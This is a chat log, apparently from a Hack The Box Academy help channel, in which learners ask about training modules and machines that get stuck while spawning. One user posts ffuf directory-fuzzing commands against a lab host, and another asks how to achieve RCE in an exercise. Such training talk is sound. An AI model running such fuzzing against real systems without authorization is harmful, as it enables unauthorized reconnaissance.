For last bit of help, DM me the output from that command

[pine dune]

okay thank you Ill dm u now

[wanton idol]

hello i can help if you are stuck or anything since he is out 😴

[frail dawn]

could use some help with ATTACKING WEB APPLICATIONS WITH FFUF skills assessment: One of the pages you will identify should say 'You don't have access!'. What is the full page URL?

I got the correct answer, but only because someone posted it in here, and I saw the endpoint.

Why does ||ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://faculty.academy.htb:31822/courses/FUZZ -recursion -recursion-depth 3 -e .php,.php7,.phps -fs 287 ||

or ||ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://faculty.academy.htb:31822/FUZZ -recursion -recursion-depth 3 -e .php,.php7,.phps -fs 287||

not reveal the file for this question? The correct endpoint is clearly in the ||directory-list-2.3-small.txt|| wordlist. It should only take ||5641|| or so requests to find it, but i'm at almost 200K request with no hits.

What am I doing wrong?

[pine dune]

Hi pixel, yeah I could use some help 😢

https://academy.hackthebox.com/module/23/section/253

stuck on this page

[wanton idol]

What exactly are you confused/stuck about it

[pine dune]

how to execute rce on the website

can I please dm u?

[wanton idol]

yeah ofc

[pine dune]

thanks man

[mint trout]

struggling spawning machine, specifically "Nibbles - Enumeration", stuck on " Target is spawning..."

[shadow ginkgo]

Same. Tried to change vpn and it gave me a file simply called ovpn instead of academy-regular.ovpn

[mint trout]

just got an ip

try refreshing and spawning

[ocean night]

It can take a minute sometimes

[mint trout]

i notice when its working and you refresh, it stays spawning, if its not working or stuck and you refresh it will ask you to spawn

[ocean night]

Likely due to events pending to be published to the browser - unsure if the state is polled on page load or not, I would have thought so.. but I don't know 100%

[wanton idol]

yeah had the same problem a while back

but for me i couldnt spawn it at all for a couple of days 💀

[fathom pendant]

I think it's some mix of the call not going so it stays in the loading state

I.e. pushing the power button but nothing turns on

[ocean night]

Looks like a legit issue - on load, even if the machine is spawning the machine state comes back as "not spawning". Will raise it with the team.

..I think

Hm no, I see machine is spawning after a refresh still

[fathom pendant]

Interesting